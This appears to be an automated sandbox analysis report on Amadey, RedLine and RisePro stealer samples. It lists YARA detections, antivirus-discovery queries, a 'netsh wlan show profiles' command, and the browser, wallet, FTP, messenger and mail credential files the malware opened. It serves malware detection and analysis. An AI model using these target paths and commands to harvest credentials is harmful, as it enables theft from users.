Source: C:\Users\user\AppData\Local\Temp\1000187001\build12.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiSpyWareProduct
Source: C:\Users\user\AppData\Local\Temp\1000187001\build12.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntiSpyWareProduct
Source: C:\Users\user\AppData\Local\Temp\1000187001\build12.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM FirewallProduct
Source: C:\Users\user\AppData\Local\Temp\1000187001\build12.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM FirewallProduct
Source: C:\Users\user\AppData\Local\Temp\1000188001\build12.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntivirusProduct
Source: C:\Users\user\AppData\Local\Temp\1000188001\build12.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntivirusProduct
Source: C:\Users\user\AppData\Local\Temp\1000188001\build12.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiSpyWareProduct
Source: C:\Users\user\AppData\Local\Temp\1000188001\build12.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntiSpyWareProduct
Source: C:\Users\user\AppData\Local\Temp\1000188001\build12.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM FirewallProduct
Source: C:\Users\user\AppData\Local\Temp\1000188001\build12.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM FirewallProduct

Stealing of Sensitive Information

Yara detected Amadeys Clipper DLL

Source: Yara match	File source: C:\Users\user\AppData\Roaming\a091ec0a6e2227\clip64.dll, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\clip64[1].dll, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Roaming\c1ec479e5342a2\clip64.dll, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\clip64[1].dll, type: DROPPED

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 15.2.chrosha.exe.70000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.amert.exe.360000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe.b80000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.explorha.exe.700000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.explorha.exe.700000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000003.2052123987.0000000004FE0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2130672754.0000000000701000.00000040.00000001.01000000.00000008.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000003.2792595641.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.2089957305.00000000046B0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.2151058621.0000000000701000.00000040.00000001.01000000.00000008.sdmp, type: MEMORY
Source: Yara match	File source: 00000032.00000003.3292101674.0000000004840000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.2839016933.0000000000361000.00000040.00000001.01000000.0000000F.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000003.2687465416.0000000004F30000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000003.2831581300.00000000052C0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2139306429.0000000000B81000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.2110741282.0000000004D70000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.2880613801.0000000000071000.00000040.00000001.01000000.00000010.sdmp, type: MEMORY
Source: Yara match	File source: C:\Users\user\AppData\Roaming\a091ec0a6e2227\clip64.dll, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\clip64[1].dll, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Roaming\c1ec479e5342a2\clip64.dll, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\clip64[1].dll, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\cred64[1].dll, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\cred64[1].dll, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Roaming\c1ec479e5342a2\cred64.dll, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Roaming\a091ec0a6e2227\cred64.dll, type: DROPPED

Yara detected RedLine Stealer

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 52.0.build12.exe.3c0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000034.00000000.3328661632.00000000003C2000.00000002.00000001.01000000.00000018.sdmp, type: MEMORY
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\1000187001\build12.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\build12[1].exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\1000187001\build12.exe, type: DROPPED

Yara detected RisePro Stealer

Source: Yara match	File source: 0000001C.00000003.2928548272.0000000004FB0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000002.3261208378.0000000007DEF000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000002D.00000003.3127053365.0000000005330000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000033.00000002.3372562116.0000000000AA1000.00000040.00000001.01000000.00000014.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000003.3072924932.0000000007DEF000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000024.00000003.3049065543.00000000048F0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000002.3252023529.0000000000891000.00000040.00000001.01000000.00000015.sdmp, type: MEMORY
Source: Yara match	File source: 0000002D.00000002.3204405230.0000000000371000.00000040.00000001.01000000.00000017.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000003.3071931619.0000000007DEA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000003.2883884113.0000000005380000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000002.3269708121.0000000000AA1000.00000040.00000001.01000000.00000014.sdmp, type: MEMORY
Source: Yara match	File source: 00000033.00000003.3293720784.0000000004F20000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000002.3260532533.0000000007940000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000003.3072820312.0000000007DEC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000003.2990613852.0000000007EE5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000024.00000002.3145142996.0000000000AA1000.00000040.00000001.01000000.00000014.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000002.3280096095.0000000007EE5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000002.3251490227.0000000007C50000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000003.3072419404.0000000007DEC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000002.3244160511.0000000000891000.00000040.00000001.01000000.00000015.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000003.2928357410.0000000004E00000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: c884f8452a.exe PID: 5596, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: MPGPH131.exe PID: 4012, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: MPGPH131.exe PID: 3436, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: c884f8452a.exe PID: 7988, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RageMP131.exe PID: 1864, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\L6h0MKsU674R9uRTEifr_26.zip, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\lGaQRZaI9ZBmSkbqM2Ghh6s.zip, type: DROPPED

Found many strings related to Crypto-Wallets (likely being stolen)

Source: c884f8452a.exe, 00000014.00000002.3272062949.00000000016AA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets
Source: MPGPH131.exe, 0000001C.00000002.3251490227.0000000007CA9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\ElectronCash\wallets
Source: c884f8452a.exe, 00000014.00000002.3272062949.00000000016AA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\com.liberty.jaxx
Source: c884f8452a.exe, 00000014.00000002.3272062949.00000000016AA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: c884f8452a.exe, 00000014.00000002.3272062949.00000000016AA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\Ethereum\wallets
Source: c884f8452a.exe, 00000014.00000002.3272062949.00000000016AA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: MPGPH131.exe, 0000001C.00000002.3245487291.00000000013F7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\Binance\app-store.json
Source: c884f8452a.exe, 00000014.00000002.3272062949.00000000016AA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\Ethereum\wallets
Source: c884f8452a.exe, 00000014.00000002.3272062949.00000000016AA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: c884f8452a.exe, 00000014.00000002.3272062949.00000000016AA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\MultiDoge\multidoge.wallet
Source: powershell.exe, 0000000B.00000002.2827936126.00007FF848E80000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: sqlcolumnencryptionkeystoreprovider
Source: MPGPH131.exe, 0000001C.00000002.3251490227.0000000007C9B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\Ledger Live

Tries to harvest and steal WLAN passwords

Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\netsh.exe netsh wlan show profiles
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\netsh.exe netsh wlan show profiles			Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\ProgramData\MPGPH131\MPGPH131.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\yiaxs5ej.default\formhistory.sqlite
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Users\user\AppData\Roaming\Opera Software\Opera Stable\Login Data
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn\CURRENT
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\kncchdigobghenbbaddojjnnaogfppfj\CURRENT
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm\CURRENT
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm\CURRENT
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Users\user\AppData\Local\Orbitum\User Data\Default\Login Data
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai\CURRENT
Source: C:\Users\user\AppData\Local\Temp\1000188001\build12.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cookies
Source: C:\Users\user\AppData\Local\Temp\1000188001\build12.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai\CURRENT
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi\CURRENT
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\blnieiiffboillknjnepogjhkgnoapac\CURRENT
Source: C:\Users\user\AppData\Local\Temp\1000188001\build12.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\logins.json
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\IndexedDB\chrome-extension_cjelfplplebdjjenllpjcblmjkfcffne_0.indexeddb.leveldb\CURRENT
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\yiaxs5ej.default\signons.sqlite
Source: C:\Users\user\AppData\Local\Temp\1000188001\build12.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn\CURRENT
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig\CURRENT
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\logins.json
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj\CURRENT
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk\CURRENT
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Users\user\AppData\Local\CentBrowser\User Data\Default\Login Data
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih\CURRENT
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	File opened: C:\Users\user\AppData\Roaming\8pecxstudios\Cyberfox\profiles.ini
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne\CURRENT
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad\CURRENT
Source: C:\Users\user\AppData\Local\Temp\1000056001\c884f8452a.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\formhistory.sqlite
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao\CURRENT
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln\CURRENT
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec\CURRENT
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj\CURRENT
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec\CURRENT
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Users\user\AppData\Local\CocCoc\Browser\User Data\Default\Login Data
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Users\user\AppData\Local\Vivaldi\User Data\Default\Login Data
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad\CURRENT
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln\CURRENT
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Users\user\AppData\Local\Chromium\User Data\Default\Login Data
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Users\user\AppData\Local\Chedot\User Data\Default\Login Data
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao\CURRENT
Source: C:\Users\user\AppData\Local\Temp\1000056001\c884f8452a.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\yiaxs5ej.default\places.sqlite
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\signons.sqlite
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Users\user\AppData\Local\Comodo\Dragon\User Data\Default\Login Data
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj\CURRENT
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac\CURRENT
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\yiaxs5ej.default\logins.json
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi\CURRENT
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne\CURRENT
Source: C:\Users\user\AppData\Local\Temp\1000188001\build12.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\IndexedDB\chrome-extension_blnieiiffboillknjnepogjhkgnoapac_0.indexeddb.leveldb\CURRENT
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	File opened: C:\Users\user\AppData\Roaming\NETGATE Technologies\BlackHawk\profiles.ini
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn\CURRENT
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk\CURRENT
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig\CURRENT
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih\CURRENT
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\kpfopkelmapcoipemfendmdcghnegimn\CURRENT

Tries to harvest and steal ftp login credentials

Source: C:\Windows\System32\rundll32.exe

File opened: C:\Users\user\AppData\Roaming\FileZilla\sitemanager.xml

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\AppData\Local\Temp\1000187001\build12.exe	File opened: C:\Users\user\AppData\Roaming\atomic\
Source: C:\Users\user\AppData\Local\Temp\1000187001\build12.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\
Source: C:\Users\user\AppData\Local\Temp\1000187001\build12.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\
Source: C:\Users\user\AppData\Local\Temp\1000187001\build12.exe	File opened: C:\Users\user\AppData\Roaming\Ethereum\wallets\
Source: C:\Users\user\AppData\Local\Temp\1000187001\build12.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\
Source: C:\Users\user\AppData\Local\Temp\1000187001\build12.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\
Source: C:\Users\user\AppData\Local\Temp\1000187001\build12.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\
Source: C:\Users\user\AppData\Local\Temp\1000187001\build12.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\
Source: C:\Users\user\AppData\Local\Temp\1000187001\build12.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\
Source: C:\Users\user\AppData\Local\Temp\1000188001\build12.exe	File opened: C:\Users\user\AppData\Roaming\atomic\
Source: C:\Users\user\AppData\Local\Temp\1000188001\build12.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\
Source: C:\Users\user\AppData\Local\Temp\1000188001\build12.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\
Source: C:\Users\user\AppData\Local\Temp\1000188001\build12.exe	File opened: C:\Users\user\AppData\Roaming\Ethereum\wallets\
Source: C:\Users\user\AppData\Local\Temp\1000188001\build12.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\
Source: C:\Users\user\AppData\Local\Temp\1000188001\build12.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\
Source: C:\Users\user\AppData\Local\Temp\1000188001\build12.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\
Source: C:\Users\user\AppData\Local\Temp\1000188001\build12.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\
Source: C:\Users\user\AppData\Local\Temp\1000188001\build12.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\

Tries to steal Instant Messenger accounts or passwords

Source: C:\Windows\System32\rundll32.exe	File opened: C:\Users\user\AppData\Roaming\.purple\accounts.xml	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	File opened: C:\.purple\accounts.xml	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Windows\System32\.purple\accounts.xml	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Windows\.purple\accounts.xml	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\.purple\accounts.xml	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\.purple\accounts.xml	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Program Files\WindowsApps\Microsoft.WindowsStore_11910.1002.5.0_x64__8wekyb3d8bbwe\.purple\accounts.xml	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Windows\ImmersiveControlPanel\.purple\accounts.xml	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\.purple\accounts.xml	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\.purple\accounts.xml	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Windows\SysWOW64\.purple\accounts.xml	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Program Files (x86)\rjKMaHWEjHxrAXnmaImAvrxNrHOchwuelXkCKuIwTZIWy\.purple\accounts.xml	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Users\user\AppData\Local\Temp\09fd851a4f\.purple\accounts.xml	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Users\user\AppData\Roaming\.purple\accounts.xml
Source: C:\Windows\System32\rundll32.exe	File opened: C:\.purple\accounts.xml
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Windows\System32\.purple\accounts.xml
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Windows\.purple\accounts.xml
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\.purple\accounts.xml
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\.purple\accounts.xml
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Program Files\WindowsApps\Microsoft.WindowsStore_11910.1002.5.0_x64__8wekyb3d8bbwe\.purple\accounts.xml
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Windows\ImmersiveControlPanel\.purple\accounts.xml
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\.purple\accounts.xml
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\.purple\accounts.xml
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Windows\SysWOW64\.purple\accounts.xml
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Program Files (x86)\rjKMaHWEjHxrAXnmaImAvrxNrHOchwuelXkCKuIwTZIWy\.purple\accounts.xml
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Users\user\AppData\Local\Temp\09fd851a4f\.purple\accounts.xml
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Program Files\Google\Chrome\Application\.purple\accounts.xml
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Users\user\AppData\Local\Temp\1000055001\.purple\accounts.xml
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Users\user\AppData\Local\Temp\4d0ab15804\.purple\accounts.xml
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Users\user\AppData\Local\Temp\1000056001\.purple\accounts.xml
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Users\user\AppData\Local\Temp\1000187001\.purple\accounts.xml
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Users\user\AppData\Local\Temp\1000188001\.purple\accounts.xml

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\AppData\Local\Temp\1000056001\c884f8452a.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini
Source: C:\Users\user\AppData\Local\Temp\1000056001\c884f8452a.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini
